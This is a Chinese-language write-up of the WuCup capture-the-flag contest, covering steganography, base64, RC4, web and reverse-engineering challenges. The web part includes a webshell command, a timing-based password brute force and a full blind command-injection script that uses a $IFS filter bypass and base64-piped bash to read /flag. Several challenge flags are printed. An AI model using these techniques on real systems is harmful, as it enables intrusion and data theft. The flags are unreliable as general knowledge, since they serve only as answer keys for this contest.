WuCup网络安全技能大赛WP
MISC
Sign
签到题,我们打开外部链接,可以看到下面的一串字符
显然是十六进制,我们找一个在线的十六进制转字符串进行解码就可以拿下简单的签到题了
原神启动
我们把附件下载下来,解压后如下所示
我们首先用steg对原神启动.png进行分析,如下所示
我们发现第一个密码WuCup{7c16e21c-31c2-439e-a814-bba2ca54101a}
,我们拿去解密zip压缩包,得到一个docx文件,但是我们打开来什么都没有,这显然就是在考docx的隐写,我们将后缀改成zip解压即可
接下来在word/media
中发现另外一张图片,同样用steg进行处理,得到第二个密钥
WuCup{6bb9d97d-7169-434b-a7cf-0ee0b6fdfa30}
解压文件夹后,我们得到一个text.zip
文件
仍然需要密码,我们再去寻找最后一个密码,我们在document.xml中发现了端倪,所以这就是我们最后的密码
WuCup{f848566c-3fb6-4bfd-805a-d9e102511784}
我们解密最后的压缩包,就可以拿到最后的flag,如下所示
太极
首先我们点开外部链接,得到一串乱码,如下所示
[外链图片转存中…(img-10GEqKmd-1733103759750)]
显然是中文乱码了,我们转一下编码就可以了,得到下面一串字符
太极生两仪-两仪生四象-四象生八卦-八卦定吉凶-吉凶生大业
根据提示,我们将所有的拼音标出来,然后根据轮回原则,我们可以写出下面的东西
最后拼成我们的flag即可,本题解出
旋转木马
我们将附件下载后,发现是两个很大的flag文件,我们分别打开,如下所示
[外链图片转存中…(img-kyDRG3OY-1733103759750)]
很大,一眼望不到头,直接给我notepad++干闪退了,老老实实用txt打开了,看着像一直用base64加密出来的东西,我们写个脚本解密吧,不然太大了,脚本如下所示
import base64
with open("flag1","r") as f1:
res1 = f1.read()
with open("flag2","r") as f2:
res2 = f2.read()
enc = res1 + res2
for i in range(53):
enc = base64.b64decode(enc)
print(enc)
得到一串像十六进制的东西,我们最后去16进制转字符串就可以了
本题到此结束
Crypto
Easy
下载附件后,我们打开即可,查看附件,如下所示
非常明显的RC4加密,而且密钥为hello world
,我们直接找一个在线解密网站即可,将flag.txt的加密后的东西复制粘贴出来就可以了
[外链图片转存中…(img-CmlucS1t-1733103759751)]
WEB
Sign
打开容器
提示我们passwd:sgin
,我们可以联想到webshell的密码,我们尝试POSTsgin=system("ls /");
即可
发现可以执行命令,我们直接读取flag
TimeCage
打开容器后,我们发现第一关代码如下
显然猜是不可能的,我们肯定就要控制时间为0s
的时候进行发送?input=114
就可以成功绕过,我们这里可以选择写脚本进行时间控制,最简单的办法还是一直刷新,一分钟内能刷出来
我们访问第二关,如下所示
我们发现需要进行密码爆破,我们首先可以爆出密码位数,我们发现是8位,如下所示
8位的密码可以去爆破,但是时间太长了,我们可以发现作者在代码中留下了这句话
for($i = 0;$i < strlen($password); $i++){
if($pass[$i] != $password[$i]){
$isMatch = false;
break;
}
sleep(1);
}
大概意思就是从左往右逐位检查密码是否正确,如果正确就休眠1s,我们可以根据返回延迟来测试密码是否正确,我们从左往右一位位修改我们的密码即可,最后我们测试出来的密码是
56983215
来到我们的最后一关,源码如下所示
我们发现是一个命令执行,且使用的执行函数是shell_exec
,即无回显的命令执行,我们的常规思路有两种,一种是反弹shell,另外一种就是把flag写到别的文件里面,然后再通过url访问进行读取,但是两种方式我都尝试过了,都不行,应该是出题人限制了不能出网和不能写入文件夹,我们这里只能换一种思路,根据前两关的提示,我们联想到了时间盲注,linux中我们可以通过head -c n /flag | tail -c 1
获取flag的第n个字符,我们就可以爆破这个字符,如果正确,我们就sleep 2
进行一个延迟,上述过程用 shell 命令表示就是 [$(head -c n /flag | tail -c 1)=爆破的字符] && sleep 2
,通过这个命令,我们就能通过响应时间的差异,逐步得到 flag 的所有内容
对于空格的过滤,我们可以使用$IFS$9
进行空格绕过,其他特殊符号通过base64编码绕过,也就是 echo base64编码后的命令 | base64 -d | sh
,我们最后的脚本如下所示
import requests
import base64
import string
import time
url = "http://challenge.wucup.cn:25706/EscapeEsc@p3Escape.php"
flag = ""
p1 = "echo$IFS$9"
p3 = "$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9bash"
for i in range(1,100):
for c in string.printable:
print(flag)
p2 = "[ \"$(head -c " + str(i) + " /flag | tail -c 1)\" = \"" + c + "\" ] && sleep 2"
payload = (p1+base64.b64encode(p2.encode()).decode()+p3)
time1 = time.time()
data = {
"cmd": payload
}
requests.post(url, data=data)
time2 = time.time()
if(time2-time1>1.9):
flag+=c
break
print(flag)
最后我们得到运行结果,成功拿到flag
Reverse
If you know
我们首先下载我们的miss文件,首先先用upx进行脱壳,如下所示
接下来用IDA打开即可
[外链图片转存中…(img-V6WZaTBG-1733103759752)]
我们可以看到程序主逻辑如上所示,接下来我们就是要写脚本进行逆向求解即可,最后贴上我们的脚本
enc = [
245,
512,
520,
495,
565,
628,
570,
630,
695,
774,
690,
787,
738,
815,
881,
1088,
824,
1001,
994,
950,
1031,
1086,
954,
1012,
1045,
1139,
1242,
0
]
flag = ""
l = len(enc) - 1
for i in range(l-1,-1,-1):
if (i & 1) == 0:
for j in range(l):
enc[j] = enc[j] - j - (i+1)
enc[j] = enc[j] ^ j
else:
for j in range(l,-1,-1):
enc[j] = enc[j] - j - (i+2)
enc[j] = enc[j] ^ j
print(enc)
for i in enc:
flag += chr(i)
print(flag)
这个脚本跑出来的结果如下所示
[-146, 95, 49, 48, 118, 51, 95, 121, 48, 117, 95, 100, 51, 52, 114, 95, 49, 102, 95, 121, 48, 117, 95, 107, 110, 48, 119, -571]
我们这一串字符去掉头尾后根据意思进行爆破,第一位为i
,最后爆破出来的flag,结果如下所示
WuCup{1_10v3_y0u_d34r_1f_y0u_kn0w}